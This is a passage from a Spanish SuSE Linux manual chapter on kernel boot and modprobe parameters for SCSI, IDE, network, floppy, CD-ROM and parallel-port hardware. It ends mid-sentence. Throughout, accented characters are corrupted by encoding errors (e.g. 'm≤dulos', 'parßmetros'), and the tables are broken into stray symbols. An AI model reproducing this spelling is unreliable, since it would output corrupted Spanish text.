de arranque de SuSE trabaja a base de m≤dulos y asφ resulta ·til para la
mayorφa de las computadoras.
Algunos drivers a·n no existen como m≤dulos.
Independientemente de la ubicaci≤n de los drivers (fijos en el kernel o car-
gables como m≤dulos), es posible que existan componentes que el kernel no
sea capaz de reconocer por sφ mismo. Para tal caso existe la posibilidad de
especificar mßs exactamente el componente, pasando parßmetros adicionales
al kernel.
o Proporcionar informaci≤n al kernel sobre el tipo de hardware usado y
c≤mo comunicarse con Θste (p. ej. rango de memoria, n·mero de interrup-
ci≤n, etc.). A veces el driver es capaz de averiguar esto por sφ mismo pero
resulta mßs seguro y rßpido tomar la iniciativa.
o En casos problemßticos se puede conseguir un buen funcionamiento del
sistema Linux usando parßmetros especiales.
En el caso de un kernel monolφtico se deben pasar los parßmetros al ker-
nel a travΘs de un ''bootloader''1 . Los drivers en forma de m≤dulos reciben
sus parßmetros mediante los comandos insmod o modprobe , que cargan si-
multßneamente_el_m≤dulo.___________________________________
1 Por eso estos parßmetros tambiΘn se denominan parßmetros de LILO , por el ''bootloader''
tradicional de la arquitectura x86.
*
* 357
14. Parßmetros del_kernel_________________________________________________________________________________________________________*
*_______________________________________@
En cada inicio de sistema se deben indicar los parßmetros, ya que el kernel
desafortunadamente no ''aprende'' por sφ mismo. DespuΘs de la instalaci≤n
es posible colocar los parßmetros de kernel en los ficheros /etc/lilo.conf
o /etc/modules.conf. Con ello se consigue que LILO o modprobe los
eval·en automßticamente.
El formato de indicaci≤n de los parßmetros para los drivers en forma de m≤-
dulos, lamentablemente es diferente al de los drivers incorporados al kernel,
por lo cual mßs adelante se detallan estos parßmetros minuciosamente. Para
algunos m≤dulos (lectores CD-ROM) el traspaso de los parßmetros ya fue
unificado, asφ que se pueden usar los mismos parßmetros si se estß cargando
un m≤dulo o pasando un parßmetro al prompt del LILO .
14.2 Algunos consejos
Antes de que aparezcan las listas con los parßmetros, le damos un par de
consejos acerca del reconocimiento de hardware por parte de los drivers y
acerca de la indicaci≤n de parßmetros:
o La mayorφa de los drivers son capaces de realizar un autoprobing, o sea, el
driver va probando diferentes direcciones en las que se encuentra general-
mente el hardware. Haciendo esto, es posible que el driver encuentre un
componente del cual no se encarga y que lo inicie equivocadamente, por
lo tanto es posible tambiΘn que la computadora se detenga (se cuelgue).
o TambiΘn puede ocurrir que un m≤dulo se cargue exitosamente aunque el
hardware para el que fue dise±ado no estΘ presente en la computadora
(esto pasa sobre todo con los drivers para las tarjetas de red de 3 Com).
Sin embargo, por razones de simplicidad, pruebe primero con el ''auto-
probing''. Los drivers que se cargan mal se pueden descargar sin proble-
mas. Si el hardware no se reconoce bien se puede intentar pasar parßmet-
ros al kernel para que Θste pueda reconocer correctamente el componente
en cuesti≤n.
o Finalmente existen algunos componentes para los que existen varios
drivers (NCR 53C810 , Ultrastor ). Seg·n la informaci≤n que tenemos,
entre los dos Ultrastor-drivers no existe una ventaja importante del uno so-
bre el otro. El BSD-driver para el NCR53C819 soporta tambiΘn los demßs
productos NCR53C8xx (p. ej. 53C875) mientras que el NCR-driver an-
tiguo soporta grabadoras de CD. En caso de duda pruebe simplemente
cußl es el driver apropiado para el soporte de su hardware.
En el momento del arranque, la distribuci≤n_norteamericana_del teclado_a·n
estß activa,_por lo tanto el |=_ |estß en la tecla de |í_ |y el |;_ |se ''oculta'' bajo la
tecla |±_ |, etc. La distribuci≤n del teclado se ve en la figura 14.1 en la pßgina
siguiente.
358
__________________________________________________________________________________________________14.3.__Los_parßmetros_____*
*______________________
_______________________________________________________________________________________________________________________||||
|||||||| |
||||||||| ||
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
Figura 14.1: La distribuci≤n del teclado norteamericano
14.3 Los parßmetros
14.3.1 Anotaci≤n y significado
Las siguientes listas de parßmetros del kernel, presentadas en orden alfabΘti-
co, mencionan los distintos dispositivos y sus respectivos drivers junto con
los parßmetros necesarios o admitidos. Los siguientes parßmetros siempre
aparecen con el mismo significado que se detalla a continuaci≤n:
______________________________________________________________________________________________________________________
<addr> identificaci≤n de puerto hexadecimal, (p. ej. 0x300)
<irq> Interrupci≤n para el acceso al dispositivo (p. ej. 7)
<dma> canal DMA a travΘs del cual se comunica el disposi-
tivo, (p. ej. 1)
<startaddress>,
<endaddress> zona de memoria hexadecimal para shared memory
______________________________________________________________________________________________________________________
Tabla 14.1: Nombres de variables para parßmetros del kernel de uso
frecuente
A continuaci≤n se explican sobre todo los parßmetros importantes para una
instalaci≤n exitosa y no aquellos que pueden servir para fines muy especiales.
Al indicar parßmetros se debe tener en cuenta la diferencia entre may·sculas
y min·sculas.
DespuΘs de la instalaci≤n se encuentra una introducci≤n sobre todas las posi-
bilidades de los parßmetros del kernel en el BootPrompt-HOWTO del di-
rectorio /usr/doc/howto y junto con las fuentes del kernel en el fichero
/usr/src/linux/Documentation/kernel-parameters.txt.
*
* 359
14. Parßmetros del_kernel_________________________________________________________________________________________________________*
*_______________________________________@
14.3.2 Parßmetros del kernel en el Boot-Prompt
Los parßmetros que se mencionan en este apartado solo se pueden pasar di-
rectamente al kernel, p. ej. al prompt de SYSLINUX (en caso del disquete
de arranque suministrado), al prompt de LILO o mediante loadlin . Si de-
sea usar el driver en cuesti≤n como m≤dulo, consulte los parßmetros apli-
cables, en este caso en el apartado 14.3.4 en la pßgina 373Parßmetros de
modprobe subsection.14.3.4.
________________________________________________________________________________________________________*
*________||
| íTodos los parßmetros importantes para un driver se deben indicar uno trßs *
* ||||
| otro, separados por comas! No se debe agregar jamßs un espacio entre los *
* |||
| *
* |||
| parßmetros! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Para indicar p. ej. los parßmetros del driver aha1542 en el Bootprompt, se
introduce lo siguiente (al comienzo siempre se indica el nombre del fichero
que contiene el kernel; en los disquetes de arranque de SuSE el kernel se
llama linux!):
linux aha1542=0x300
Parßmetros de arranque generales
Parßmetros Mediante algunos parßmetros generales es posible influir en el compor-
generales tamiento general del kernel de Linux; ver la pßgina del manual de bootparam
(man 7 bootparam ).
o Modo de reinicio (saliendo de Linux)
reboot=<modo>
donde <modo> puede tener los siguientes valores:
____________________________________________________________________________________________
|__variable____|____valores_/_significado__________________________________________|_________
| <modo> |warm Reinicio en caliente (sin test de memoria) |
| |cold Reinicio en frφo (con test de memoria) |
| |bios Reinicio por BIOS |
|__________________|hard_____Reinicio_por_CPU-Crash_(triple_fault)_________|________________
Ejemplo: reboot=cold
inicia la computadora despuΘs del ''shutdown'' de Linux como si se hu-
biera pulsado la tecla Reset.
o Protecci≤n de rangos E/S (Reservar)
reserve=<start1>,<ancho1>,...,<startN>,<anchoN>
Con este parßmetro se pueden reservar rangos de E/S (entrada/salida) para
el hardware que no resista el ''autoprobing'', reaccionando p. ej. con un
cuelgue del sistema.
Ejemplo: Con el comando:
reserve=0x330,32 ether=5,0x330,eth0
se puede proteger una tarjeta de red sensible al autoprobing sin dejar de
inicializarla. En el ejemplo dado la tarjeta tiene un rango de E/S de un
360
__________________________________________________________________________________________________14.3.__Los_parßmetros_____*
*______________________
ancho de 32 byte, que comienza a partir de la direcci≤n de memoria 0x330
y el valor de la interrupci≤n es 5 .
El significado de los parßmetros de tarjetas de red se explica en el aparta-
do 14.3.2 en la pßgina 368Otros dispositivostable.14.2.
o Indicar partici≤n raφz
root=<partici≤n>
_____________________________________________________________________________
||__variable______________|__valores_/_significado_________________|__________
||__<partici≤n>______________|p._ej./dev/hda1,_/dev/sdb5__|__________________
Ejemplo: root=/dev/hda5
Arranca el kernel e intenta montar la partici≤n raφz del primer disco l≤gico
en la partici≤n extendida del primer disco duro (E)IDE.
o Cantidad de memoria RAM (RAM)
mem=<cantidad> Puede indicar la cantidad de + Memoria en bytes,
kilobytes o megabytes. Los ejemplos muestran las diferentes anotaciones
para 96 MB de RAM.
Ejemplos:
mem=96M
mem=98304k
En raras ocasiones es posible que la placa base o el chipset no puedan lib-
erar toda la memoria ya que usan una cierta cantidad para ''fines propios''
(pueden ser hasta 512 K). Con el mΘtodo de ''prueba y error'' serφa posible
determinar la cantidad exacta, pero para simplificar se puede suponer que
se trata de 512 K; en nuestro ejemplo es lo siguiente:
mem=5ff8000
Si la computadora es un Pentium cl≤nico, el comando
mem=nopentium
puede hacer que trabaje una computadora que antes no funcionaba.
Controladoras SCSI y el SCSI-subsistema
Se puede influir en la mayorφa de las controladoras SCSI a travΘs de los Controladora
parßmetros. SCSI
o Unidades de cinta SCSI (Streamer)
st=<b·fer>,<barrera>[,<max>]
_____________________________________________________________________________________________________
||__variable__________|__valores_/_significado_____________________________________________|__________
|| <b·fer> |Tama±o del b·fer (n·mero de bloques de 1 KB) |
|| <barrera> |Limite de escritura (n·mero de bloques de 1 KB) |
|| |(ingl. write threshold) |
||__<max>________________|N·mero_mßximo_de_b·feres_opcional_(p._ej.__2)_______|______________________
Ejemplo: st=1000,2000
*
* 361
14. Parßmetros del_kernel_________________________________________________________________________________________________________*
*_______________________________________@
o N·mero de dispositivos SCSI por ID
max_scsi_luns=<n·mero>
________________________________________________________
|__variable________|____valores_/_significado__|_________
|__<n·mero>____________|1..8___________________________|_
Ejemplo:
Si solo desea usar explφcitamente el primer LUN (ingl. logical unit num-
ber), se debe definir el parßmetro como: max_scsi_luns=1 .
Una aplicaci≤n tφpica son los lectores con m·ltiples CDs, para los
que el n·mero de CDs utilizables es igual al valor del parßmetro
max_scsi_luns .
o Adaptec AHA-1520 / 1522 / 1510 / 1515 / 1505 SCSI-hostadaptor
aha152x=<addr>,<irq>,<id>[,<rec>[,<par>[,<sync>[,
<delay>[<ext_trans>]]]]]
__________________________________________________________________________________________________*
*_________
|__variable_______________________________________|_____valores_/_significado_____________________*
*__|_______
| <id> (SCSI-ID del hostadaptor) | ID del hostadaptor, normal 7 |
| <rec> (reconnect) | 0, 1 *
* |
| <par> (parity) | 0, 1 comprobaci≤n de paridad |
| <sync> (synchronous) | 0, 1 transferencia sincr≤nica |
| <delay> | 100 retardo de bus, valor estßndar |
|__<ext_trans>________________________________________|_0,_1__C/H/S-transformaci≤n_____________|__*
*_________
Este driver permite usar muchas controladoras SCSI de bajo coste. Por
ejemplo, todas las tarjetas de sonido con controladora SCSI (aparte de
la Pro Audio Spectrum ) incorporan uno de estos chips de Adaptec y se
pueden usar con este driver.
Para todas las 152x no originales, es posible que se necesite siempre el
cuarto parßmetro (RECONNECT ) para hacerlas funcionar y este parßmetro
debe estar en `0' para casi todos los tipos; solamente la controladora
AHA2825 necesita el valor `1'.
Ejemplo: aha152x=0x300,10,7
o Adaptec AHA-1540 / 1542 SCSI-hostadaptor
aha1542=<addr>[,<buson>,<busoff>[,<DMA speed>]]
_____________________________________________________________
|__variable______________|____valores_/_significado__|________
| <buson> | 2..15 |
| <busoff> | 1..64 |
|__<DMA__speed>_____________|_5,6,7,8,10_____________________|
Ejemplo: aha1542=0x300
o Adaptec AHA-274x / 284x / 294x hostadaptor
aic7xxx=<modifier>[,<modifier>[, ...]]
362
__________________________________________________________________________________________________14.3.__Los_parßmetros_______*
*____________________
___________________________________________________________________________________________________________
||__variable____________|__valores_/_significado__________________________________________________|_________
|| <modifier> |extended |
|| |activa la transformaci≤n de la geometrφa de disco. |
|| |no_reset |
|| |evita resetear el Bus SCSI en la inicializaci≤n |
|| |de la controladora SCSI. |
|| |irq_trigger: <x> |
|| |Solo para sistema con bus Eisa |
|| |0: control por flanco del impulso, |
|| |1: control por nivel de impulso. |
|| |verbose |
|| |Para recibir mßs mensajes. |
|| |reverse_scan |
|| |Cuando la BIOS trata varias tarjetas |
|| |en orden equivocado. |
|| |7895_irq_hack: <x> |
|| |-1 solo para placas madre Tyan II. |
|| |pci_parity: <x> |
|| |sin definir pci_parity , la |
|| |paridad es par: |
|| |0 sin control de paridad |
|| |1 paridad impar |
|| |tag_info:``` |
|| |Administraci≤n de colas para aumentar rendimiento, |
||_________________________|para_expertos,_ver_las_fuentes_del_kernel.____________________|________________
Ejemplo: aic7xxx=no_reset ,
si la computadora se detiene reseteando el bus SCSI.
Para controladoras SCSI a base de aic7xxx solo se necesitan parßmetros
si su funcionamiento es err≤neo o insatisfactorio.
La controladora AHA-2940 AU solo funciona bien a partir de la ver-
si≤n 1.3 de la BIOS; el soporte de Adaptec proporciona actualizaciones.
íLa controladora Adaptec 2920 no funciona con este driver, sino con el
Future Domain-Driver (apartado 14.3.2 en la pßgina siguiente)!
o AdvanSys SCSI-hostadaptor
advansys=<addr1>,<addr2>,...,<addr4>,<debug_level>
Ejemplo: advansys=0x110,0x210
Este ejemplo indica al kernel que busque la controladora AdvanSys bajo
las direcciones se±aladas.
o AM53/79C974 SCSI-hostadaptor
AM53C974=<host-id>,<target-id>,<rate>,<offset>
*
* 363
14. Parßmetros del_kernel_________________________________________________________________________________________________________*
*_______________________________________@
_________________________________________________________________________________________________
|__variable______________|____valores_/_significado______________________________________|________
| <host-id> | SCSI-ID de la controladora, tφpico 7 |
| <target-id> | SCSI-ID del dispositivo 0..7 |
| <rate> | 3,5,10 Mbit/s mßxima tasa de transferencia |
|__<offset>_________________|_Modo_de_transf.;_0__=_asφncrono______________________|_____________
Cuando parece que la controladora ''se atraganta'' con el flujo de datos, se
puede reducir la tasa mßxima de transferencia para un dispositivo (p. ej.
la primer unidad CD-ROM-SCSI /dev/scd0 con ID 5) en la cadena:
Ejemplo: AM53C974=7,5,3,0
Se puede indicar una tasa y un modo de transferencia propios para cada
dispositivo, asφ que AM53C974=x,x,x,x puede aparecer hasta siete veces
para una controladora.
o BusLogic SCSI-hostadaptor
BusLogic=<addr>
BusLogic=<probing>
Ejemplo: BusLogic=0x300
__________________________________________________________________________________________________*
*_______
|__variable__________|____valores_/_significado__________________________________________________|*
*________
| <addr> | Direcci≤n de la controladora, p. ej. 0x300 |
| <probing> | NoProbe No buscar la controladora |
| | NoProbeISA No buscar la controladora ISA |
| | NoProbePCI No buscar la controladora PCI |
| | NoSortPCI La BIOS determina el orden de |
| | las controladoras Multimaster |
| | MultiMasterFirst Multimaster por delante |
| | de Flashpoint |
| | FlashPointFirst Flashpoint por delante |
| | de Multimaster |
| | InhibitTargetInquiry Para dispositivos antiguos |
| | que tienen problemas con scsi_luns > 0 |
| | TraceProbe mensajes adicionales |
| | cuando la controladora se inicializa |
| | TraceHardwareReset mensajes adicionales |
| | en un reset por hardware de la controladora |
| | TraceConfiguration mensajes adicionales |
| | en la configuraci≤n de la controladora |
| | TraceErrors mensajes de error de los |
| | dispositivos conectados |
|_______________________|_Debug_____todos_los_mensajes_________________________________________|__*
*_______
Para esta controladora hay mßs parßmetros de configuraci≤n que sirven
para afinar su ajuste. Se explica en /usr/src/linux/drivers/scsi/
README.BusLogic.
o Future Domain TMC-16x0-SCSI-hostadaptor
fdomain=<addr>,<irq>[,<id>]
364
__________________________________________________________________________________________________14.3.__Los_parßmetros_____*
*______________________
______________________________________________________________________
||__variable__|__valores_/_significado______________________|__________
||__<id>_________S|CSI-ID_de_la_controladora_0..7______|______________
Se usa este driver tambiΘn para la controladora SCSI Adaptec 2920 .
Ejemplo: fdomain=0x140,11,7
o Future Domain TMC-885/950-hostadaptor
tmc8xx=<addr>,<irq>
Ejemplo: tmc8xx=0xca000,5
o Familia de NCR 5380 SCSI-hostadaptor
ncr5380=<addr>,<irq>,<dma>
Ejemplo: ncr5380=0x340,10,3
o Familia de NCR 53c400 SCSI-hostadaptor
ncr53c400=<addr>,<irq>
Ejemplo: ncr53c400=0x350,5
Este driver puede trabajar p. ej. con la controladora Trantor T130B , que
tiene una difusi≤n amplia.
o Familia de NCR 53c406a SCSI-hostadaptor
ncr53c406a=<addr>[,<irq>[,<fastpio>]]
______________________________________________________________________________
||__variable__________|__valores_/_significado______________________|__________
||__<fastpio>____________|0,_sin_uso_de_un_modo-PIO_rßpido__|_________________
Ejemplo: ncr53c406a=0x330,10,0
o Seagate ST01/02 SCSI-hostadaptor
st0x=<addr>,<irq>
Ejemplo: st0x=0xc8000,5
o Trantor T128/128F/228 SCSI-hostadaptor
t128=<addr>,<irq>
Ejemplo: t128=0x340,10
Controladoras (E)IDE-Controller y dispositivos ATAPI
Hay muchos parßmetros a disposici≤n para configurar los dispositivos conec- Controladoras
tados. (E)IDE
Dispositivos
o ATAPI-CD-ROM en la controladora (E)IDE ATAPI
hd<x>=cdrom
hd<x>=serialize
*
* 365
14. Parßmetros del_kernel_________________________________________________________________________________________________________*
*_______________________________________@
______________________________________________________________________
|__variable__|____valores_/_significado_______________________|________
| <x> |a , b , c , d ,adonde: |
| |a Maestro en 1a controladora IDE |
| |b Esclavo en 1a controladora IDE |
| |c Maestro en 2a controladora IDE |
|________________|d__Esclavo_en_2___controladora_IDE___|______________
Ejemplo:
Un lector CD-Rom como maestro en la segunda controladora se anuncia
con hdc=cdrom .
o Disco duro
hd<x>=<cilindro>,<cabezal>,<sector>[,<escribe>[,<irq>]]
_________________________________________________________________________________
|__variable______________|____valores_/_significado______________________|________
o o
| <x> | a , b , . . . , h 1 a 8 disco duro |
| <cilindro> | n·mero de cilindros |
| <cabezal> | n·mero de cabezales |
| <sector> | n·mero de sectores |
| <escritura> | cilindro a partir del cual se aplica |
| | la compensaci≤n de escritura |
|__<irq>____________________|_Interrupci≤n_________________________________|_____
Si la BIOS es un poco antigua, es posible que no se reconozca bien la
geometrφa del disco. En tal caso se pueden pasar los parßmetros correctos
al kernel para que Θste la pueda reconocer correcta- y completamente.
Ejemplo: hdc=1050,32,64
hd<x>=<trouble>
__________________________________________________________________________________________________*
*___
|__variable__________|____valores_/_significado______________________________________________|____*
*____
o o
| <x> | a , b , . . . , h 1 a 8 disco duro |
| <trouble> | noprobe , si hay problemas con la |
| | comprobaci≤n de un disco duro |
| | none ignorar la entrada en la CMOS y no probar |
| | nowerr ignorar WREE`STAT-Bit |
| | cdrom no reconocido o reconocido como disco |
| | o fallo en arranque |
| | autotune uso del modo PIO mßs rßpido |
| | slow despuΘs de cada acceso se introduce |
| | una pausa larga, lo que realmente ralentiza mucho |
|_______________________|_pero_a_veces_es_el_·ltimo_recurso.___________________________|__________*
*___
Si un lector de CD-Rom no se reconoce bien, la indicaci≤n de <cdrom>
puede introducir el dispositivo correctamente al sistema.
Ejemplo: hdd=cdrom
o Chipsets de controladoras EIDE
ide0=<Chipset>
366
__________________________________________________________________________________________________14.3.__Los_parßmetros___________*
*________________
Hay algunas controladoras EIDE con chipsets defectuosos o con proble-
mas a la hora de usar la segunda controladora.
Por lo cual ya existe para muchas de ellas un soporte especial en el kernel
que se debe activar con uno de sus parßmetros.
Estßn soportados los siguientes chipset problemßticos:
_____________________________________________________________________________________________________________
CMD 640 Este chipset se encuentra en muchas placas
base y tiene bastantes defectos, por lo cual
el kernel incorpora un soporte especial que lo
reconoce para evitar problemas. Ademßs, en
muchos casos, solo por el c≤digo especial se
puede usar la segunda controladora. El chipset
se reconoce automßticamente en sistemas PCI,
pero en aquellos a base de VLB hay que poner
el parßmetro de kernel: ide0=cmd640_vlb .
RZ 1000 Este chip se usa en muchas placas base con
chipset Neptun siendo defectuoso, sin embar-
go, al activar su soporte, el sistema deja de
presentar errores aunque trabaje un poco mßs
lento. No se precisa de ning·n parßmetro del
kernel para activarlo.
DTC-2278 Es preciso activar este driver especial mediante
el comando ide0=dtc2278 para poder usar la
segunda controladora.
Holtek HT6560B Para activar la segunda controladora se necesi-
ta el siguiente parßmetro: ide0=ht6560b .
QDI QD6580 Con este driver se consigue mayor velocidad
de transferencia: ide0=qd6580 .
UMC 8672 Para activar la segunda controladora se necesi-
ta el siguiente parßmetro: ide0=umc8672 .
ALI M1439/M1445 Para activar la segunda controladora se necesi-
ta el siguiente parßmetro: ide0=ali14xx .
PROMISE DC4030 Para activar la segunda controladora se nece-
sita el siguiente parßmetro: ide0=dc4030 .
íLectores CD-ROM y unidades de cinta
(streamer) a·n no estßn soportados!
_____________________________________________________________________________________________________________
Tabla 14.2: Chipsets EIDE especiales
Si el chipset no se encuentra entre los reconocidos como defectuosos pero
tampoco se reconoce bien, se pueden pasar los siguientes parßmetros en
lugar de los anteriormente mencionados:
ide<n·mero>=<base>[,<control>[,<irq>]]
367
14. Parßmetros del_kernel_________________________________________________________________________________________________________*
*_______________________________________@
______________________________________________________________________________________________
|__variable__________|____valores_/_significado_______________________________________|________
| <n·mero> | n·mero controladora, |
| | normalmente 0 o 1 , pero tambiΘn 3 o 4 |
| <base> | direcci≤n base de la controladora, |
| | normalmente 0x1f0 , 0x170 , 0x1e8 o 0x168 |
| <control> | registro de control de la controladora, |
| | normalmente 0x3f6 , 0x376 , 0x3ee o 0x36e |
| <irq> | interrupci≤n de la controladora, |
|_______________________|_normalmente_14__,_15__,_11___o_10___________________________|_______
Si el chipset no se encuentra entre los reconocidos como defectuosos, no
se reconoce bien y ademßs los problemas persisten, se puede pasar los
siguientes parßmetros en lugar de los anteriormente mencionados:
ide<n·mero>=<tune>
__________________________________________________________________________________________________*
*__
|__variable________|____valores_/_significado_______________________________________________|_____*
*___
| <n·mero> |N·mero de controladora, normalmente 0 o 1 , |
| |pero tambiΘn 3 o 4 . |
| <tune> |autotune para conseguir el modo PIO mßs rßpido |
| |no lo soportan todos los chipsets. |
| |noautotune sin b·squeda del mejor PIO. |
| |serialize sin simultaneidad de operaciones |
|______________________|de_la_siguiente_controladora.___________________________________|_________*
*__
Si desea obtener mßxima velocidad con un chipset que no estß en la lista
de los defectuosos, se puede indicar la velocidad del bus como parßmetro
adicional; para conocerla consulte el manual de su placa base.
idebus=<speed>
Otros dispositivos
Tarjeta de red
Disquetera o Tarjeta de red Ethernet
ether=<irq>,<addr>[,<par1>[,<par2>...<par8>]],<nombre>
Los distintos parßmetros desde <par1> hasta <par8> pueden tener
un significado diferente seg·n el driver. Como mßximo se indican dos
parßmetros de los que el primero es la direcci≤n del comienzo del rango de
memoria compartida (shared memory) y el segundo es el final del rango.
El primer argumento no numΘrico se trata como el nombre.
____________________________________________________________________________________________________*
*______
<irq> Interrupci≤n usada; 0 para autoprobing.
<addr> Direcci≤n de puerto; 0 para autoprobing.
<start> Direcci≤n del comienzo del rango de memoria com-
partida. Algunos drivers usan los 4 bits bajos para
el debug-level; el Lance -driver usa estos bits para el
canal DMA.
____________________________________________________________________________________________________*
*______
368 Tabla 14.3: Contin·a en la pßgina siguiente ...
__________________________________________________________________________________________________14.3.__Los_parßmetros_______*
*____________________
_____________________________________________________________________________________________________________
<end> Direcci≤n del fin del rango de memoria compartida; el
3COM 3c503 -driver usa este parßmetro para distinguir
entre transceptores internos y externos.
<xcvr> Tipo de transceptor.
La tarjeta Cabletron E21XX usa los 4 bits bajos para
seleccionar el medio.
<nombre> Nombre de la interfaz (tφpicamente eth0 ).
_____________________________________________________________________________________________________________
Tabla 14.3: Variables de tarjetas de red Ethernet
La aplicaci≤n mßs frecuente de este parßmetro es la de comunicar al
kernel que existe mßs de una tarjeta para ser reconocida; normalmente
solo busca una tarjeta red y para que busque dos se puede usar el comando:
ether=0,0,eth1
Observe que al indicar 0 para la interrupci≤n se solicita al driver efectuar
el autoprobing, con lo cual prueba automßticamente diferentes valores.
o Disquetera
floppy=<drive>,<type>,cmos
_______________________________________________________________________________
||__variable______|__valores_/_significado___________________________|__________
|| <drive> 0|, 1, 2, 3 |
|| <type> 0| - Adopci≤n de valores de la CMOS |
|| 1| - 5.25-pulgadas DD, 360 KB |
|| 2| - 5.25-pulgadas HD, 1,2 MB |
|| 3| - 3.5-pulgadas DD, 720 KB |
|| 4| - 3.5-pulgadas HD, 1,44 MB |
|| 5| - 3.5-pulgadas ED, 2,88 MB |
|| 6| - 3.5-pulgadas ED, 2,88 MB |
||___________________1|6__-_desconocido_o_no_instalado__________|______________
floppy=<valor>
La variable <valor> puede tener los siguientes valores (tabla 14.4 en la
pßgina siguiente):
_____________________________________________________________________________________________________________
one_fdc exactamente una disquetera.
asus_pci evita el acceso a la 3a o 4a dis-
quetera.
daring aumenta las prestaciones para con-
troladoras no problemßticas.
_____________________________________________________________________________________________________________
Tabla 14.4: Contin·a en la pßgina siguiente ...
*
* 369
14. Parßmetros del_kernel_________________________________________________________________________________________________________*
*_______________________________________@
____________________________________________________________________________________________________*
*______
0,daring lo contrario de daring .
[<addr>,]two_fdc Si no se da ning·n valor a
<addr> y hay dos controladoras
de disquete, la segunda recibe la
direcci≤n de puerto 0x370 .
thinkpad computadoras-IBM Thinkpad .
0,thinkpad no es computadora-Thinkpad .
omnibook computadoras Omnibook de HP.
nodma para computadoras Omnibook .
dma estßndar
nofifo en caso que aparezca "Bus mas-
ter arbitration error".
fifo estßndar.
0xX ,fifo_depth barrera FIFO estßndar 0xA .
unexpected_interrupts Alertar cuando salen interrup-
ciones inesperadas.
no_unexpected_interrupts Este es el contrario de
unexpected_interrupts .
L40SX Lo mismo de arriba.
____________________________________________________________________________________________________*
*______
Tabla 14.4: Valores para el parßmetro de kernel floppy
o Busmouse de Logitech
bmouse=<irq>
o Controladora de disco duro XT
xd=<tipo>,<irq>,<addr>,<dma>
14.3.3 Lectores CD-ROM en controladora propietaria
CD-ROM
antiguo o Aztech CDA268-01 CD-ROM
aztcd=<addr>[,0x79]
Solo hace falta indicar el valor 0x79 en caso de no conocer la versi≤n del
''firmware''.
Ejemplo: aztcd=0x320
o Goldstar R420-CD-ROM
gscd=<addr>
o Mitsumi-CD-ROM
mcd=<addr>,<irq>[,<wait>]
______________________________________________________________________________________
|__variable____|____valores_/_significado____________________________________|_________
|__<wait>__________|Valor_para_el_tiempo_de_espera_del_arranque__|____________________
370
__________________________________________________________________________________________________14.3.__Los_parßmetros_______*
*____________________
Se puede variar el parßmetro <wait> entre 0 y 10 , si el CD-ROM no
reacciona suficientemente rßpido a peticiones del sistema ("timeout"),
por lo que es posible que no se encuentre el Rootimage durante la insta-
laci≤n.
Ejemplo: mcd=0x300,10,5
o Mitsumi-CD-ROM (Multisession)
mcdx=<addr>,<irq>[,<addr>,<irq>]
Ejemplo: mcd=0x300,10
Se soportan hasta 5 lectores
o Mozart Interface
isp16=[<addr>[,<irq>[,<dma>]]][[,]<tipo>]
_____________________________________________________________________________
||__variable____|__valores_/_significado__________________________|___________
||__<tipo>_________S|anyo____,_Panasonic________,_Sony____,_Mitsumi_________|_
Este driver da soporte a lectores CD-ROM conectados a una tarjeta de
sonido del nombre ISP16 , MAD16 o Mozart . El valor de la variable
<tipo> resulta del conector en la tarjeta de sonido a la que esta conec-
tado el lector CD-ROM.
Ejemplo: isp16=0x340,10,3,Sony
o Optics Storage 8000 AT CD-ROM
optcd=<addr>
Ejemplo: optcd=0x340
o Philips CM206 CD-ROM
cm206=<addr>,<irq>
Ejemplo: cm206=0x340,10
o Pro Audio Spectrum 16 - SCSI-hostadaptor
pas16=<addr>,<irq>
Sobre la tarjeta de sonido Pro Audio Spectrum 16 se encuentra una con-
troladora SCSI cuyas ajustes se pueden pasar al kernel con este parßmetro.
Ejemplo: pas16=0x340,10
Si la tarjeta no se reconoce bien se puede usar sin interrupci≤n. En tal
caso, la interrupci≤n toma el valor 255 .
Ejemplo: pas16=0x340,255
o Sanyo CD-ROM
sjcd=<addr>
Ejemplo: sjcd=0x340
*
* 371
14. Parßmetros del_kernel_________________________________________________________________________________________________________*
*_______________________________________@
o Sony CDU 31/33 A
cdu31a=<addr>,<irq>[,PAS]
En el caso de este driver, el kernel ya no efect·a mßs el ''autoprobing'', asφ
que la indicaci≤n de los parßmetros es obligatoria.
Ejemplo: cdu31a=0x340,5
Si no hay ninguna interrupci≤n prevista para esta unidad, solo se puede
acceder a ella por ''polling''; en tal caso el valor IRQ debe ser 0 .
Ejemplo: cdu31a=0x340,0
Si este lector esta conectado a una tarjeta Pro Audio Spectrum, el
parßmetro podrφa ser el siguiente:
Ejemplo: cdu31a=0x1f88,0,PAS
o Sony CDU 535
sonycd535=<addr>,<irq>
Ejemplo: sonycd535=0x340,10
o Soundblaster Pro 16 MultiCD
sbpcd=<addr>,<tipo>
__________________________________________________________________________________________________*
*__________________
|__variable____|____valores_/_significado_________________________________________________________*
*_________|_________
|__<tipo>__________|LaserMate________,_SPEA____,_SoundBlaster___________,_SoundScape_________,_Tea*
*c__16bit__________|
Ejemplo: sbpcd=0x230,SoundBlaster
El puerto paralelo
Puerto
paralelo o Puerto paralelo
parport=<addr0>,[<irq0> [parport=<addr1>,[<irq1>
[parport=<addr2>,[<irq2>]]]]]
______________________________________________________
|__variable______|____valores_/_significado__|_________
| <addrX> |Direcci≤n |
|__<irqX>____________|Interrupci≤n______________|_____
Ejemplo: parport=0x3bc parport=0x378,7 parport=0x278,auto
o Impresora en el puerto paralelo
lp=<parport0> [lp=<parport1> [lp=<parport2>]]
___________________________________________________________
|__variable____________|____valores_/_significado__|________
|__<parportX>_____________|_Puerto_paralelo_________|______
Ejemplo: lp=parport0 lp=parport2
372
__________________________________________________________________________________________________14.3.__Los_parßmetros_____*
*______________________
14.3.4 Parßmetros de modprobe
En este apartado se mencionan los parßmetros que se pueden usar cuando
un driver se carga como m≤dulo. Si no fuera posible cargar un determinado
driver con ning·n parßmetro, se tendrß que integrar en un kernel monolφtico.
Algunos drivers todavφa no existen como m≤dulos y otros solo reconocen
bien el hardware cuando forman parte del kernel. En todo caso es recomend-
able probar en un principio si el driver en cuesti≤n puede ser cargado como
m≤dulo.
Si un driver se carga como m≤dulo, todas las variables que se usan interna-
mente pueden ser modificadas mediante los valores en la lφnea de comando.
Por ejemplo, el driver para tarjetas NE2000 usa la variable io para especificar
el rango de entrada y salida (I/O) ocupado por la tarjeta. El comando correcto
para cargar este m≤dulo es (ver tambiΘn el apartado 13.2 en la pßgina 350M≤-
dulos del kernelsection.13.2):
tierra:/ # insmod ne io=0x300 irq=10
o mejor con modprobe :
